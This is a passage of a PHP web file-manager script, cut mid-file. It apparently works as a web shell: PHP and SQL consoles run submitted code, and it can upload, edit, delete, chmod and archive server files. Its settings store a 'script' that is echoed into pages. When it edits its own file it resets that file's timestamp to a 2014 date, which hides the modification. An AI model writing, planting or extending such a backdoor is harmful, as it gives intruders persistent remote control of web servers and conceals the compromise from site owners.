QSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_ntimes .= (__('File updated')); else $msg_ntimes .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //quanxian gai bian hou xu yao xi tong chongqi $msg_ntimes = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. 